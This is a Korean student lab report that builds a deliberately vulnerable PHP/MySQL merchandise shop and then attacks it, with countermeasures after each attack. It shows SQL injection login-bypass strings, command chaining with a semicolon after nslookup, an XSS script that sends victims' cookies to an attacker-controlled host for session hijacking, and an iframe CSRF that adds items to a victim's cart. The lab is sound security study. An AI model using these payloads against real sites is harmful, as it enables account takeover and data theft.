웹 서버 구축 및 보안 프로젝트

I. 개요

 1. 목적

프로젝트는 서버 구축 해킹의 이해를 바탕으로 하여 모의 해킹 테스트를 수행하고 도출된 취약점에 대한 대응방안을 수립 함으로서 구축 역량 보안 역량 강화와 프로젝트 수행 능력을 기르는데 목적이 있다.



 2. 배경


트와이스 굿즈샵 사이트가 생겼다. 많은 사람들이 회원가입을 하고 굿즈를 구매한다.

그런데, 해커들은 트와이스 굿즈샵 사이트에 굿즈를 사려고 접속했다가, 취약점이 많은 허술한 사이트라는 것을 알게되고, 그들은 원스(트와이스 )에서 블랙해커로 돌변하여 사이트를 해킹하게 된다.


 3. 내용


-    구축

  개발자는 리눅스 환경에서 Apache2, PHP, MYSQL 이용하여 서버를 만들고 관리하게 된다. 트와이스 굿즈샵 사이트이므로 소규모의 쇼핑몰 사이트와 유사하게 디자인할 것이다. 회원가입과 로그인이 가능하고, 자유게시판, DNS서비스, 장바구니 등의 기능이 있습니다.


-    해킹

해커들은 SQL Injection 공격을 이용해 다른 사용자의 ID/PW 로그인하거나 정보를 빼올 것이다. 또한, 사이트에서 제공하는 DNS서비스의 취약점을 발견하고 세미콜론(;) 등으로 멀티라인 명령을 사용해 OS Command Injection 공격도 진행할 것이다.


 자유게시판에서는 script 사용 가능한 것을 확인하여 XSS, CSRF 공격을 수행하게 된다. XSS에서는 세션 탈취도 진행하게 것이고, CSRF에서는 강제로 사용자의 세션에서 장바구니에 상품을 추가하도록 것이다.







II. 웹 서버 구축


1. 사용한 서버 프로그램


서버 구축은 우분투 계열 리눅스에서 진행했다.
우선, 서버 구축에 가장 많이 쓰는 APM 조합(Apache2, PHP, Mysql) 사용하여 웹을 구축했다.
-          Apache 2.4.18
-          PHP 7.0
-          MYSQL 5.7.20

2. 웹 사이트 프리뷰


-    사이트 구조



-   웹 사이트 프리뷰










III. 웹 서버 해킹

1. SQL Injection


1.1. 개요





1.2. 실습


서버의 loginAction.php 파일에서의 로그인 액션 부분은
SELECT * FROM account WHERE id = ' $id ' AND pw = ' $pw '
로 질의를 하여, 해당하는 계정이 있을 시에 그 id pw로 세션을 형성해주도록 되어있다.

만약 $id $pw의 값으로 ' OR '1' = '1 라는 특이한 값을 전달해주면
SELECT * FROM account WHERE id = ' ' OR '1' = '1 ' AND pw = ' ' OR '1' = '1 '
가 되어서, id 옆의 ' ' OR '1' = '1 ' 부분이 참이되고, pw 옆의 ' ' OR '1' = '1 ' 부분도 참이되어 AND연산이 참으로 되게 된다.
그러면 WHERE true 로 인식되어, account 테이블에 있는 모든 정보들을 질의의 응답으로 웹서버에 보내주게 된다.

또한, ' OR 1=1 ;-- ' 로도 가능하다.
--는 한 줄 주석을 표현하는 문자인데, 이 값을 id에 넣으면
SELECT * FROM account WHERE id = ' ' OR 1=1; -- ‘ ' AND pw = ' ' OR '1' = '1 '
이렇게 되어서 -- 뒷부분은 완전히 무시가 된다. 이렇게 해서도 WHERE을 참으로 만들 수 있다.
1.



2.

 


3. (결과)



그러자, 쿼리문 응답의 제일 위에 있는 '관리자의 계정'의 정보를 읽어서 관리자로 로그
인이 된 것이다.

1.3. 대책


-          개발자의 보안 코딩
-          최소권한 유저로 DB 운영
-          신뢰할 수 있는 네트워크, 서버에 대해서만 접근을 허용
-          에러메시지의 노출을 차단





2. OS Command Injection


2.1. 개요





2.2. 실습


OS Command Injection 같은 경우에는, 쉘 명령어의 멀티라인(명령어 여러 개 입력)을 통해 공격을 할 수 있는데, 멀티라인의 문자로는 세미콜론(;), 파이프라인(|), 엠퍼센트(&) 등이 있다.

1.


이 사진은 세미콜론(;)을 써서 nslookup 명령어 다음에 ls 명령어를 실행하도록 한 것이
.
서버에 있는 모든 파일들을 볼 수 있다.
그러나, www-data권한으로 쉘 명령을 내려봤자 권한문제로 인해 할 수 있는 일이 별로 
없다.
하지만, 아파치 버전이 낮으면 1-day cve취약점으로, www-data -> root로 권한상승 해
서 서버를 장악할 수 있고, 여러 공격들을 해볼 수 있다.

2.3. 대책


-          exec(), system() 함수 등의 사용을 자제
-          멀티라인을 지원하는 특수 문자에 대한 검증을 실시





3. XSS


3.1. 개요






3.2. 실습


우선, TWICE Goodz 사이트 자유게시판에 악성 script를 삽입해, 피해자가 게시물 열람 
시 공격자 PC로 쿠키를 전달하게 한 다음, 공격자는 그 쿠키를 이용해서 TWICE Goodz 
사이트에 피해자 계정으로 접속하는 식으로 공격을 진행할 것이다.

제일 먼저, 해커의 서버에 php파일을 만든다.


파라미터 cookie를 받아들여, 공격자의 PC에 쿠키 값을 저장하는 코드이다.

다음은,

자유게시판에 상품 배송에 관하여 ~~’ 라는 글을 써서 사용자들이 글을 볼 수 있도록 
한다.
글 내용은
<script>window.open("http://crushonyouhxhx.com/cookie.php?data="+document.cookie)</script>
이어야 한다.
단순히 해커의 사이트로 쿠키 값을 파라미터로 주면서 접속하게 하는 코드이다.



만약 누군가가 이 글을 보게 되면, 밑에 사진과 같이 공격자의 서버로 쿠키 값을 전달하
면서 접속하게 될 것이다


누군가가 게시물을 열람했나 보다.
php파일로 인해 아래와 같이 쿠키 값이 txt파일로 저장이 됐다,



마지막으로 이제 저 쿠키 값을 이렇게 넣으면






이렇게 피해자의 계정으로 로그인이 되었다!
게시물을 열람한 사람이 관리자였나 보다.

이제 관리자가 공지사항으로 올린 글도 삭제가 가능하다. 또한 관리자의 정보를 볼 수도
있을 것이다.

3.3. 대책


-          문자열 치환(<, >, script, cookie) replace 함수를 이용해 치환
-          화이트리스트 기반으로 필터링



4. CSRF


4.1. 개요




4.2. 실습


해커가 TWICE Goodz 사이트 이용자들이 굿즈를 많이 샀으면 하는 바램에, 장바구니에 
모든 상품들을 넣어버리게 하자는 계획을 하게 된다.

#해커#

1.

사진을 보면 상품을 장바구니에 추가 시 'shopping.php'라는 페이지에 처리를 요청한다
는 것을 알 수가 있다.


2.

하지만 파라미터 전달이 주소창에 뜨지 않는 것을 보아, POST방식으로 서버에게 데이
터를 보낸다는 것을 알 수 있다. 이것만으로는 정보가 부족하다.


3.

그러므로 파라미터를 알아보기 위해 'wireshark'를 사용할 것이다.


4.

장바구니 클릭이 어떤 이벤트를 발생시키는지 wireshark로 캡쳐하고, 디스플레이 필터
로 목적지가 '서버'인 패킷을 걸러낸다. HTTP프로토콜을 사용했고, shopping.php로 요
쳥을 보낸 패킷이 보인다. Follow TCP Stream을 누른다.


5.

내용을 보면, 드래그 한 곳에 'product=3'이라고 적혀있다. 이 파라미터가 장바구니에 
넣을 상품의 번호일 것이다.


6.

공격자는 사진과 같이 'iframe 태그'를 이용해서, 피해자가 이 글을 보면 원하는 주소로 
파라미터를 보내게 할 것이다. 아무리 POST방식을 사용하더라도 강제적으로 파라미터
를 보내게 되면, 서버는 그 파라미터의 값을 읽어들이게 된다.


7.

글이 완성되었다.





#피해자#

8.

피해자가 로그인을 한다.


9.

피해자는 "필독!"이라는 게시글을 보고 방문하게 되는데...


10.

난데없이 장바구니에 뭔가 추가되었단다. 해커가 넣은 iframe태그때문에 src 경로로 이
동하여 product파라미터를 전달하여, 마치 피해자 자신이 한 일처럼 만들어버린다.


11.
장바구니에 가보니, 장바구니에 상품들이 쌓여있다..!

4.3. 대책 (XSS와 같음)


-          문자열 치환(<, >, script, cookie) replace 함수를 이용해 치환
-          화이트리스트 기반으로 필터링

댓글